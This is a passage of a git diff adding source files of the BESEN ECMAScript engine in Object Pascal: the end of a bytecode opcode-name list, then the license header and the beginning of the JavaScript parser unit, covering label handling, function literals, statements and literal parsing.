'MUL', + 'DIV', + 'MOD', + 'ADD', + 'ADDNUM', + 'SUB', + 'SHL', + 'SHR', + 'USHR', + 'LT', + 'GT', + 'LE', + 'GE', + 'INSTANCEOF', + 'IN', + 'EQ', + 'SEQ', + 'BAND', + 'BXOR', + 'BOR', + 'SENUM', + 'SWITH', + 'SCATCH', + 'ENDF', + 'JMP', + 'JZ', + 'JNZ', + 'JNULL', + 'LOOPENUM', + 'STRYC', + 'STRYF', + 'LITERAL', + 'LITERALUNDEF', + 'LITERALNULL', + 'LITERALBOOL', + 'LITERALNUM', + 'LITERALSTR', + 'LITERALOBJ', + 'FUNC', + 'LINE', + 'GC', + 'STRICT', + 'STRICTCHECKREF', + 'DEBUGGER', + 'CHECKOBJECTCOERCIBLE', + 'PUTOBJVALUE', + 'PUTOBJGET', + 'PUTOBJSET', + 'INC', + 'DEC', + 'COPYBOOL', + 'COPYNUM', + 'COPYSTR', + 'COPYOBJ', + 'COPYREF', + 'COPYLOCAL', + 'GETVALUEREF', + 'PUTVALUEREF', + 'GETVALUELOCAL', + 'PUTVALUELOCAL', + 'GETVALUELOCALFAST', + 'PUTVALUELOCALFAST', + 'GETVALUELOCALBOOL', + 'PUTVALUELOCALBOOL', + 'GETVALUELOCALNUM', + 'PUTVALUELOCALNUM', + 'GETVALUELOCALSTR', + 'PUTVALUELOCALSTR', + 'GETVALUELOCALOBJ', + 'PUTVALUELOCALOBJ', + 'GETVALUELOCALINDEX', + 'PUTVALUELOCALINDEX', + 'GETVALUELOCALINDEXBOOL', + 'PUTVALUELOCALINDEXBOOL', + 'GETVALUELOCALINDEXNUM', + 'PUTVALUELOCALINDEXNUM', + 'GETVALUELOCALINDEXSTR', + 'PUTVALUELOCALINDEXSTR', + 'GETVALUELOCALINDEXOBJ', + 'PUTVALUELOCALINDEXOBJ', + 'LOOPINITCOUNT', + 'LOOPADDCOUNT', + 'TRACE', + 'LTBOOL', + 'GTBOOL', + 'LEBOOL', + 'GEBOOL', + 'EQBOOL', + 'NEQBOOL', + 'LTNUM', + 'GTNUM', + 'LENUM', + 'GENUM', + 'EQNUM', + 'NEQNUM', + 'LTSTR', + 'GTSTR', + 'LESTR', + 'GESTR', + 'EQSTR', + 'NEQSTR', + 'SHLBOOl', + 'SHRBOOL', + 'BANDBOOL', + 'BXORBOOL', + 'BORBOOL', + 'SHLNUM', + 'SHRNUM', + 'USHRNUM', + 'BANDNUM', + 'BXORNUM', + 'BORNUM', + 'SETCUNDEF', + 'SETCNULL', + 'SETCBOOL', + 'SETCNUM', + 'SETCSTR', + 'SETCOBJ', + 'TRACENEW', + 'TRACECALL', + 'LTNUMCONST', + 'GTNUMCONST', + 'LENUMCONST', + 'GENUMCONST', + 'EQNUMCONST', + 'NEQNUMCONST', + 'JZERO', + 'JNZERO'); + +implementation + +end. diff --git a/Core/JS/BESENParser.pas b/Core/JS/BESENParser.pas new file mode 100644 index 0000000..3b6e486 --- /dev/null +++ b/Core/JS/BESENParser.pas @@ -0,0 +1,2698 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENParser; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENValue,BESENBaseObject, + BESENCollectorObject,BESENObjectPropertyDescriptor, + BESENLexicalEnvironment,BESENASTNodes, + BESENEnvironmentRecord,BESENStringTree, + BESENPointerList, + BESENLexer; + +type TBESENParserLabelSet=class(TBESENCollectorObject) + public + Next:TBESENParserLabelSet; + Target:TBESENTarget; + Continuable:longbool; + Index:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENParserLabel=class(TBESENCollectorObject) + public + Next:TBESENParserLabel; + Name:TBESENString; + LabelSet:TBESENParserLabelSet; + Node:TBESENASTNode; + LineNumber:integer; + Index:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENParser=class(TBESENBaseObject) + public + Lexer:TBESENLexer; + WarningProc:TBESENWarningProc; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Init; + function Parse(IsFunction,IsJSON:boolean):TBESENASTNode; + end; + +implementation + +uses {$ifdef BESENEmbarcaderoNextGen}System.Character,{$endif}BESEN,BESENUtils,BESENStringUtils,BESENErrors; + +constructor TBESENParserLabelSet.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Next:=nil; + Target:=-1; + Continuable:=false; + Index:=-1; +end; + +destructor TBESENParserLabelSet.Destroy; +begin + Next:=nil; + inherited Destroy; +end; + +constructor TBESENParserLabel.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Next:=nil; + Name:=''; + LabelSet:=nil; + Node:=nil; + LineNumber:=0; + Index:=-1; +end; + +destructor TBESENParserLabel.Destroy; +begin + Next:=nil; + Node:=nil; + LabelSet:=nil; + Name:=''; + inherited Destroy; +end; + +constructor TBESENParser.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Lexer:=TBESENLexer.Create(Instance); + ErrorProc:=nil; + WarningProc:=nil; +end; + +destructor TBESENParser.Destroy; +begin + Lexer.Free; + inherited Destroy; +end; + +procedure TBESENParser.Init; +begin + Lexer.NextChar; +end; + +function TBESENParser.Parse(IsFunction,IsJSON:boolean):TBESENASTNode; +var CurrentToken:TBESENLexerToken; + InForHeader:boolean; + Labels:TBESENParserLabel; + LabelSets,CurrentLabelSet:TBESENParserLabelSet; + LabelSetList,LabelList:TBESENPointerList; + IsInFunction,UseStrictAlreadyParsed:boolean; + procedure AddError(const Msg:TBESENSTRING); + begin + TBESEN(Instance).LineNumber:=Lexer.LineNumber; + raise EBESENSyntaxError.CreateUTF16(Msg); + end; + procedure AddWarning(const Msg:TBESENSTRING); + begin + if assigned(WarningProc) then begin + WarningProc(Lexer.LineNumber,Msg); + end; + end; + procedure NextToken; + begin + Lexer.GetToken(CurrentToken); + end; + procedure SkipToken(TokenType:TBESENLexerTokenType); + begin + if CurrentToken.TokenType<>TokenType then begin + AddError('"'+BESENTokenStrings[TokenType]+'" expected'); + end; + NextToken; + end; + procedure CleanUpLabels; + var i:integer; + begin + for i:=0 to LabelSetList.Count-1 do begin + TBESENParserLabelSet(LabelSetList[i]).Free; + LabelSetList[i]:=nil; + end; + LabelSetList.Clear; + for i:=0 to LabelList.Count-1 do begin + TBESENParserLabelSet(LabelList[i]).Free; + LabelList[i]:=nil; + end; + LabelList.Clear; + end; + function LabelSetCurrent:TBESENParserLabelSet; + begin + if not assigned(CurrentLabelSet) then begin + CurrentLabelSet:=TBESENParserLabelSet.Create(Instance); + CurrentLabelSet.Index:=LabelSetList.Add(CurrentLabelSet); + if assigned(LabelSets) then begin + CurrentLabelSet.Target:=LabelSets.Target+1; + end else begin + CurrentLabelSet.Target:=1; + end; + CurrentLabelSet.Next:=LabelSets; + LabelSets:=CurrentLabelSet; + end; + result:=CurrentLabelSet; + end; + function LabelEnter(const Name:TBESENString='';const Node:TBESENASTNode=nil):TBESENParserLabel; + var l:TBESENParserLabel; + begin + result:=nil; + try + if length(Name)<>0 then begin + l:=Labels; + while assigned(l) do begin + if l.Name=Name then begin + TBESEN(Instance).LineNumber:=Lexer.LineNumber; + raise EBESENSyntaxError.CreateUTF16('Duplicate label "'+Name+'"'); + end; + l:=l.Next; + end; + end; + result:=TBESENParserLabel.Create(Instance); + result.Name:=Name; + result.LabelSet:=LabelSetCurrent; + result.Node:=Node; + result.LineNumber:=Lexer.LineNumber; + result.Next:=Labels; + result.Index:=LabelList.Add(result); + Labels:=result; + except + BESENFreeAndNil(result); + raise; + end; + end; + procedure LabelLeave; + var OldLabels:TBESENParserLabel; + begin +{$ifdef UseAssert} + Assert(assigned(Labels)); +{$endif} + if assigned(Labels) then begin + OldLabels:=Labels; + Labels:=OldLabels.Next; + LabelList[OldLabels.Index]:=niL; + BESENFreeAndNil(OldLabels); + end; + end; + function LabelTargetLookup(const Name:TBESENString='';const Continuable:boolean=false):TBESENTarget; + var l:TBESENParserLabel; + begin + try + l:=Labels; + while assigned(l) do begin + if l.Name=Name then begin + if Continuable and not l.LabelSet.Continuable then begin + if length(Name)=0 then begin + continue; + end; + TBESEN(Instance).LineNumber:=Lexer.LineNumber; + raise EBESENSyntaxError.CreateUTF16('Label name "'+Name+'" not suitable for continue'); + end; + result:=l.LabelSet.Target; + exit; + end; + l:=l.Next; + end; + if length(Name)<>0 then begin + TBESEN(Instance).LineNumber:=Lexer.LineNumber; + raise EBESENSyntaxError.CreateUTF16('Label name "'+Name+'" not defined, or not reachable'); + end else if Continuable then begin + TBESEN(Instance).LineNumber:=Lexer.LineNumber; + raise EBESENSyntaxError.Create('Continue statement not within a loop'); + end else begin + TBESEN(Instance).LineNumber:=Lexer.LineNumber; + raise EBESENSyntaxError.Create('Break statement not within a loop or switch'); + end; + except + raise; + end; + end; + function ParseSourceElement:TBESENASTNodeStatement; forward; + function ParseStatement(ResetCurrentLabelSet:boolean):TBESENASTNodeStatement; forward; + function ParseAssignmentExpression(InFlag:boolean):TBESENASTNodeExpression; forward; + function ParseExpression(InFlag:boolean):TBESENASTNodeExpression; forward; + function NextIsSemicolon:boolean; + begin + result:=(CurrentToken.TokenType in [ltEOF,ltoCLOSEBRACE,ltoSEMICOLON]) or (CurrentToken.WasLineEnd and not InForHeader); + end; + procedure ParseOptionalSemicolon; + begin + case CurrentToken.TokenType of + ltEOF:begin + end; + ltoCLOSEBRACE:begin + end; + ltoSEMICOLON:begin + SkipToken(ltoSEMICOLON); + end; + else begin + if not (CurrentToken.WasLineEnd and not InForHeader) then begin + SkipToken(ltoSEMICOLON); + end; + end; + end; + end; + procedure ParseDirective(var IsDirectivePrologue,FirstDirective:boolean;Body:TBESENASTNodeFunctionBody); + var OldToken:TBESENLexerToken; + begin + if IsDirectivePrologue then begin + if CurrentToken.TokenType=lttSTRING then begin + OldToken:=CurrentToken; + NextToken; + if NextIsSemicolon then begin + if (length(OldToken.StringValue)=10) and (copy(Lexer.Source,OldToken.OldPosition,10)='use strict') then begin + if UseStrictAlreadyParsed then begin + AddWarning('"use strict"/''use strict'' already seen!'); + end else begin + UseStrictAlreadyParsed:=true; + if not TBESEN(Instance).IsStrict then begin + TBESEN(Instance).IsStrict:=true; + Body.IsStrict:=true; + if not FirstDirective then begin + raise EBESENUseStrict.Create('Wrong "use strict"/''use strict'' position!'); + end; + end else begin + TBESEN(Instance).IsStrict:=true; + end; + end; + end; + FirstDirective:=false; + end else begin + IsDirectivePrologue:=false; + end; + Lexer.Restore(OldToken); + NextToken; + end else begin + IsDirectivePrologue:=false; + end; + end; + end; + function ParseIdentifier(AllowEvalArguments:boolean):TBESENASTNodeIdentifier; + begin + result:=nil; + try + result:=TBESENASTNodeIdentifier.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + if CurrentToken.TokenType=lttIDENTIFIER then begin + result.Name:=CurrentToken.Name; + end else begin + AddError('identifier literal expected'); + end; + if (TBESEN(Instance).IsStrict and not AllowEvalArguments) and ((result.Name='eval') or (result.Name='arguments')) then begin + AddError('"'+result.Name+'" not allowed here'); + end; + NextToken; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseIdentifierName(AllowEvalArguments:boolean):TBESENASTNodeIdentifier; + begin + result:=nil; + try + result:=TBESENASTNodeIdentifier.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + if CurrentToken.TokenType in BESENLexerKeywordsTokens then begin + result.Name:=BESENTokenStrings[CurrentToken.TokenType]; + end else if CurrentToken.TokenType=lttIDENTIFIER then begin + result.Name:=CurrentToken.Name; + end else begin + AddError('identifier literal expected'); + end; + if (TBESEN(Instance).IsStrict and not AllowEvalArguments) and ((result.Name='eval') or (result.Name='arguments')) then begin + AddError('"'+result.Name+'" not allowed here'); + end; + NextToken; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseFunctionLiteral(WithFunction,WithName:boolean):TBESENASTNodeFunctionLiteral; + var i,j:integer; + OldIsInFunction,OldIsStrict,OldUseStrictAlreadyParsed:boolean; + OldToken:TBesenLexerToken; + procedure ParseFunctionStatements; + var IsDirectivePrologue,FirstDirective:boolean; + Statements,i:integer; + begin + Statements:=0; + try + IsDirectivePrologue:=true; + FirstDirective:=true; + UseStrictAlreadyParsed:=false; + while (CurrentToken.TokenType<>ltoCLOSEBRACE) and not Lexer.IsEOF do begin + if IsDirectivePrologue then begin + ParseDirective(IsDirectivePrologue,FirstDirective,result.Body); + end; + if Statements>=length(result.Body.Statements) then begin + SetLength(result.Body.Statements,Statements+256); + end; + result.Body.Statements[Statements]:=ParseSourceElement; + inc(Statements); + end; + SetLength(result.Body.Statements,Statements); + SkipToken(ltoCLOSEBRACE); + except + for i:=0 to Statements-1 do begin + BesenFreeAndNil(result.Body.Statements[i]); + end; + SetLength(result.Body.Statements,0); + Statements:=0; + raise; + end; + end; + function ParseFakeReturnStatement:TBESENASTNodeReturnStatement; + begin + result:=nil; + try + result:=TBESENASTNodeReturnStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + if not NextIsSemicolon then begin + result.Expression:=ParseExpression(true); + end; + if NextIsSemicolon then begin + ParseOptionalSemicolon; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + var FakeReturnStatement:TBESENASTNodeReturnStatement; + begin + result:=nil; + try + OldUseStrictAlreadyParsed:=UseStrictAlreadyParsed; + OldIsInFunction:=IsInFunction; + OldIsStrict:=TBESEN(Instance).IsStrict; + IsInFunction:=true; + try + result:=TBESENASTNodeFunctionLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + + if WithFunction then begin + SkipToken(ltkFUNCTION); + end; + + if WithName or (CurrentToken.TokenType<>ltoOPENPAREN) then begin + result.Name:=ParseIdentifier(not TBESEN(Instance).IsStrict); + end; + + SkipToken(ltoOPENPAREN); + i:=0; + if (CurrentToken.TokenType<>ltoCLOSEPAREN) and not Lexer.IsEOF then begin + while true do begin + if i>=length(result.Body.Parameters) then begin + SetLength(result.Body.Parameters,i+256); + end; + result.Body.Parameters[i]:=ParseIdentifier(not TBESEN(Instance).IsStrict); + if TBESEN(Instance).IsStrict and (result.Body.Parameters[i] is TBESENASTNodeIdentifier) then begin + for j:=0 to i-1 do begin + if TBESENASTNodeIdentifier(result.Body.Parameters[i]).Name=TBESENASTNodeIdentifier(result.Body.Parameters[j]).Name then begin + AddError('Duplicate parameter "'+TBESENASTNodeIdentifier(result.Body.Parameters[i]).Name+'"'); + end; + end; + end; + inc(i); + if Lexer.IsEOF or (CurrentToken.TokenType=ltoCLOSEPAREN) then begin + break; + end else if CurrentToken.TokenType=ltoCOMMA then begin + SkipToken(ltoCOMMA); + end; + end; + end; + SetLength(result.Body.Parameters,i); + SkipToken(ltoCLOSEPAREN); + + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (CurrentToken.TokenType<>ltoOPENBRACE) then begin + UseStrictAlreadyParsed:=false; + result.Body.IsStrict:=TBESEN(Instance).IsStrict; + if CurrentToken.WasLineEnd then begin + CurrentToken.WasLineEnd:=false; + end; + FakeReturnStatement:=ParseFakeReturnStatement; + SetLength(result.Body.Statements,1); + result.Body.Statements[0]:=FakeReturnStatement; + end else begin + SkipToken(ltoOPENBRACE); + if IsFunction then begin + IsFunction:=false; + Lexer.LineNumber:=1; + end; + OldToken:=CurrentToken; + result.Body.IsStrict:=TBESEN(Instance).IsStrict; + try + ParseFunctionStatements; + except + on e:EBESENUseStrict do begin + result.Body.IsStrict:=TBESEN(Instance).IsStrict; + Lexer.Restore(OldToken); + NextToken; + ParseFunctionStatements; + end; + end; + end; + finally + IsInFunction:=OldIsInFunction; + TBESEN(Instance).IsStrict:=OldIsStrict; + UseStrictAlreadyParsed:=OldUseStrictAlreadyParsed; + end; + if result.Body.IsStrict then begin + if assigned(result.Name) and ((result.Name.Name='eval') or (result.Name.Name='arguments')) then begin + AddError('"'+result.Name.Name+'" not allowed here as function parameter name'); + end; + for i:=0 to length(result.Body.Parameters)-1 do begin + if (result.Body.Parameters[i].Name='eval') or (result.Body.Parameters[i].Name='arguments') then begin + AddError('"'+result.Body.Parameters[i].Name+'" not allowed here as function parameter name'); + end; + for j:=0 to i-1 do begin + if result.Body.Parameters[i].Name=result.Body.Parameters[j].Name then begin + AddError('Duplicate parameter "'+TBESENASTNodeIdentifier(result.Body.Parameters[i]).Name+'"'); + end; + end; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseFunctionDeclaration:TBESENASTNodeFunctionDeclaration; + var Literal:TBESENASTNodeFunctionLiteral; + begin + result:=nil; + try + result:=TBESENASTNodeFunctionDeclaration.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + Literal:=ParseFunctionLiteral(true,true); + result.Container:=Literal.Container; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseFunctionExpression(WithFunction,WithName:boolean):TBESENASTNodeFunctionExpression; + var Literal:TBESENASTNodeFunctionLiteral; + begin + result:=nil; + try + result:=TBESENASTNodeFunctionExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + Literal:=ParseFunctionLiteral(WithFunction,WithName); + result.Container:=Literal.Container; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseStatementList(InSwitch:boolean):TBESENASTNodeStatements; + var Count:integer; + begin + result:=nil; + try + Count:=0; + while (not ((CurrentToken.TokenType=ltoCLOSEBRACE) or (InSwitch and (CurrentToken.TokenType=ltkCASE) or (CurrentToken.TokenType=ltkDEFAULT)))) and not Lexer.IsEOF do begin + if Count>=length(result) then begin + SetLength(result,Count+256); + end; + result[Count]:=ParseStatement(true); + inc(Count); + if CurrentToken.TokenType=ltkFUNCTION then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)=0 then begin + break; + end; + end; + end; + SetLength(result,Count); + except + for Count:=0 to length(result)-1 do begin + BESENFreeAndNil(result[Count]); + end; + SetLength(result,0); + raise; + end; + end; + function ParseBlockStatement:TBESENASTNodeBlockStatement; + begin + result:=nil; + try + SkipToken(ltoOPENBRACE); + result:=TBESENASTNodeBlockStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + result.Statements:=ParseStatementList(false); + SkipToken(ltoCLOSEBRACE); + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseDebuggerStatement:TBESENASTNodeDebuggerStatement; + begin + result:=nil; + try + SkipToken(ltkDEBUGGER); + result:=TBESENASTNodeDebuggerStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + ParseOptionalSemicolon; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseBreakStatement:TBESENASTNodeBreakStatement; + begin + result:=nil; + try + SkipToken(ltkBREAK); + result:=TBESENASTNodeBreakStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + if NextIsSemicolon then begin + result.Target:=LabelTargetLookup('',false); + end else begin + if CurrentToken.TokenType=lttIDENTIFIER then begin + if CurrentToken.WasLineEnd then begin + AddError('Illegal line terminator after break'); + end; + result.Identifier:=ParseIdentifier(true); + if assigned(result.Identifier) then begin + result.Target:=LabelTargetLookup(result.Identifier.Name,false); + end else begin + result.Target:=LabelTargetLookup('',false); + end; + end; + ParseOptionalSemicolon; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseContinueStatement:TBESENASTNodeContinueStatement; + begin + result:=nil; + try + SkipToken(ltkCONTINUE); + result:=TBESENASTNodeContinueStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + if NextIsSemicolon then begin + result.Target:=LabelTargetLookup('',true); + end else begin + if CurrentToken.TokenType=lttIDENTIFIER then begin + if CurrentToken.WasLineEnd then begin + AddError('Illegal line terminator after continue'); + end; + result.Identifier:=ParseIdentifier(true); + if assigned(result.Identifier) then begin + result.Target:=LabelTargetLookup(result.Identifier.Name,true); + end else begin + result.Target:=LabelTargetLookup('',true); + end; + end; + ParseOptionalSemicolon; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseAssignmentExpression(InFlag); + while not Lexer.IsEOF do begin + case CurrentToken.TokenType of + ltoCOMMA:begin + SkipToken(ltoCOMMA); + Left:=result; + result:=TBESENASTNodeBinaryCommaExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryCommaExpression(result).LeftExpression:=Left; + TBESENASTNodeBinaryCommaExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + else begin + break; + end; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseDoStatement:TBESENASTNodeDoStatement; + var LabelSet:TBESENParserLabelSet; + begin + result:=nil; + try + result:=TBESENASTNodeDoStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + LabelSet:=LabelSetCurrent; + LabelSet.Continuable:=true; + LabelEnter('',result); + result.Target:=LabelSet.Target; + SkipToken(ltkDO); + result.Statement:=ParseStatement(true); + SkipToken(ltkWHILE); + result.Expression:=ParseExpression(true); + ParseOptionalSemicolon; + LabelLeave; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseRegExpLiteral:TBESENASTNodeRegExpLiteral; + begin + result:=nil; + try + result:=TBESENASTNodeRegExpLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + if CurrentToken.TokenType in [ltoDIVIDE,ltoDIVIDEASSIGNMENT] then begin + Lexer.Restore(CurrentToken); + if not Lexer.ParseRegExpLiteral(CurrentToken,result.Source,result.Flags) then begin + AddError('regex literal expected'); + end; + end else begin + AddError('regex literal expected'); + end; + NextToken; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseStringLiteral:TBESENASTNodeStringLiteral; + begin + result:=nil; + try + result:=TBESENASTNodeStringLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + if CurrentToken.TokenType=lttSTRING then begin + result.Value:=CurrentToken.StringValue; + end else begin + AddError('string literal expected'); + end; + NextToken; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseNumbericLiteral:TBESENASTNodeNumberLiteral; + begin + result:=nil; + try + result:=TBESENASTNodeNumberLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + case CurrentToken.TokenType of + lttINTEGER:begin + result.Value:=CurrentToken.IntValue; + end; + lttFLOAT:begin + result.Value:=CurrentToken.FloatValue; + end; + else begin + AddError('numberic literal expected'); + end; + end; + NextToken; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseObjectLiteralProperty(const Parent:TBESENASTNodeObjectLiteral;const Count:integer):TBESENASTNodeObjectLiteralProperty; + var PropertyType:TBESENASTNodeObjectLiteralPropertyType; + PropertyAccessorType:TBESENASTNodeObjectLiteralPropertyAccessorType; + OldToken:TBESENLexerToken; + i:integer; + Key:TBESENString; + function ParseObjectLiteralPropertyName:TBESENString; + begin + case CurrentToken.TokenType of + lttIDENTIFIER:begin + result:=CurrentToken.Name; + NextToken; + end; + lttSTRING:begin + result:=CurrentToken.StringValue; + NextToken; + end; + lttINTEGER:begin + result:=TBESEN(Instance).ToStr(BESENNumberValue(CurrentToken.IntValue)); + NextToken; + end; + lttFLOAT:begin + result:=TBESEN(Instance).ToStr(BESENNumberValue(CurrentToken.FloatValue)); + NextToken; + end; + else begin + if CurrentToken.TokenType in BESENLexerKeywordsTokens then begin + result:=BESENTokenStrings[CurrentToken.TokenType]; + NextToken; + end else begin + AddError('identifier or numeric literal expected'); + end; + end; + end; + end; + var Literal:TBESENASTNodeFunctionLiteral; + begin + result:=nil; + try + PropertyType:=banolptDATA; + PropertyAccessorType:=banolpatNONE; + if (CurrentToken.TokenType=lttIDENTIFIER) and ((CurrentToken.Name='get') or (CurrentToken.Name='set')) then begin + OldToken:=CurrentToken; + if CurrentToken.Name='get' then begin + PropertyType:=banolptACCESSOR; + PropertyAccessorType:=banolpatGET; + end else if CurrentToken.Name='set' then begin + PropertyType:=banolptACCESSOR; + PropertyAccessorType:=banolpatSET; + end; + if PropertyType=banolptACCESSOR then begin + NextToken; + if not (CurrentToken.TokenType in [lttIDENTIFIER,lttSTRING,lttINTEGER,lttFLOAT]) then begin + PropertyType:=banolptDATA; + Lexer.Restore(OldToken); + NextToken; + end; + end; + end; + Key:=ParseObjectLiteralPropertyName; + case PropertyType of + banolptACCESSOR:begin + for i:=0 to Count-1 do begin + if Key=Parent.Properties[i].Name then begin + case Parent.Properties[i].PropertyType of + banolptACCESSOR:begin + if Parent.Properties[i].PropertyAccessorType=PropertyAccessorType then begin + case PropertyAccessorType of + banolpatGET:begin + AddError('Duplicate accessor property getter "'+Key+'"'); + end; + banolpatSET:begin + AddError('Duplicate accessor property setter "'+Key+'"'); + end; + else begin + AddError('Invalid property "'+Key+'"'); + end; + end; + end; + end; + banolptDATA:begin + AddError('Invalid property "'+Key+'"'); + end; + end; + end; + end; + result:=TBESENASTNodeObjectLiteralProperty.Create(Instance); + result.PropertyType:=PropertyType; + result.PropertyAccessorType:=PropertyAccessorType; + result.Name:=Key; + Literal:=ParseFunctionLiteral(false,false); + result.Container:=Literal.Container; + if not ((PropertyAccessorType in [banolpatGET,banolpatSET]) and (assigned(Literal) and assigned(Literal.Body))) then begin + AddError('Invalid property "'+Key+'"'); + end else begin + case PropertyAccessorType of + banolpatGET:begin + if length(Literal.Body.Parameters)>0 then begin + AddError('Getter must have no parameters'); + end; + end; + banolpatSET:begin + if length(Literal.Body.Parameters)<>1 then begin + AddError('Setter must have only one parameter'); + end; + end; + else begin + AddError('Invalid property "'+Key+'"'); + end; + end; + end; + end; + banolptDATA:begin + for i:=0 to Count-1 do begin + if Key=Parent.Properties[i].Name then begin + case Parent.Properties[i].PropertyType of + banolptACCESSOR:begin + AddError('Invalid property "'+Key+'"'); + end; + banolptDATA:begin + if TBESEN(Instance).IsStrict then begin + AddError('Duplicate data property "'+Key+'"'); + end; + end; + end; + end; + end; + result:=TBESENASTNodeObjectLiteralProperty.Create(Instance); + result.PropertyType:=banolptDATA; + result.Location.LineNumber:=CurrentToken.LineNumber; + result.Name:=Key; + SkipToken(ltoCOLON); + result.Value:=ParseAssignmentExpression(true); + end; + else begin + AddError('Invalid property "'+Key+'"'); + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseObjectLiteral:TBESENASTNodeObjectLiteral; + var Count:integer; + begin + result:=nil; + try + result:=TBESENASTNodeObjectLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + result.Properties:=nil; + Count:=0; + SkipToken(ltoOPENBRACE); + while (CurrentToken.TokenType<>ltoCLOSEBRACE) and not Lexer.IsEOF do begin + if Count>=length(result.Properties) then begin + SetLength(result.Properties,Count+256); + end; + result.Properties[Count]:=ParseObjectLiteralProperty(result,Count); + inc(Count); + if CurrentToken.TokenType<>ltoCLOSEBRACE then begin + if CurrentToken.TokenType=ltoCOMMA then begin + SkipToken(ltoCOMMA); + end else begin + AddError(''','' or ''}'' expected'); + break; + end; + end; + end; + SetLength(result.Properties,Count); + SkipToken(ltoCLOSEBRACE); + except + for Count:=0 to length(result.Properties)-1 do begin + BESENFreeAndNil(result.Properties[Count]); + end; + SetLength(result.Properties,0); + BESENFreeAndNil(result); + raise; + end; + end; + function ParseArrayLiteral:TBESENASTNodeArrayLiteral; + var Count:integer; + begin + result:=nil; + try + result:=TBESENASTNodeArrayLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoOPENSQUARE); + result.Elements:=nil; + Count:=0; + while (CurrentToken.TokenType<>ltoCLOSESQUARE) and not Lexer.IsEOF do begin + if Count>=length(result.Elements) then begin + SetLength(result.Elements,Count+256); + end; + if CurrentToken.TokenType=ltoCOMMA then begin + result.Elements[Count]:=nil; + end else begin + result.Elements[Count]:=ParseAssignmentExpression(true); + end; + inc(Count); + if CurrentToken.TokenType<>ltoCLOSESQUARE then begin + if CurrentToken.TokenType=ltoCOMMA then begin + SkipToken(ltoCOMMA); + end else begin + AddError(''','' or '']'' expected'); + break; + end; + end; + end; + SetLength(result.Elements,Count); + SkipToken(ltoCLOSESQUARE); + except + for Count:=0 to length(result.Elements)-1 do begin + BESENFreeAndNil(result.Elements[Count]); + end; + SetLength(result.Elements,0); + BESENFreeAndNil(result); + raise; + end; + end; + function ParsePrimaryExpression:TBESENASTNodeExpression; + begin + result:=nil; + try + case CurrentToken.TokenType of + ltkTHIS:begin + result:=TBESENASTNodeThisLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltkTHIS); + end; + ltkNULL:begin + result:=TBESENASTNodeNullLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltkNULL); + end; + ltkTRUE:begin + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBooleanLiteral(result).Value:=true; + SkipToken(ltkTRUE); + end; + ltkFALSE:begin + 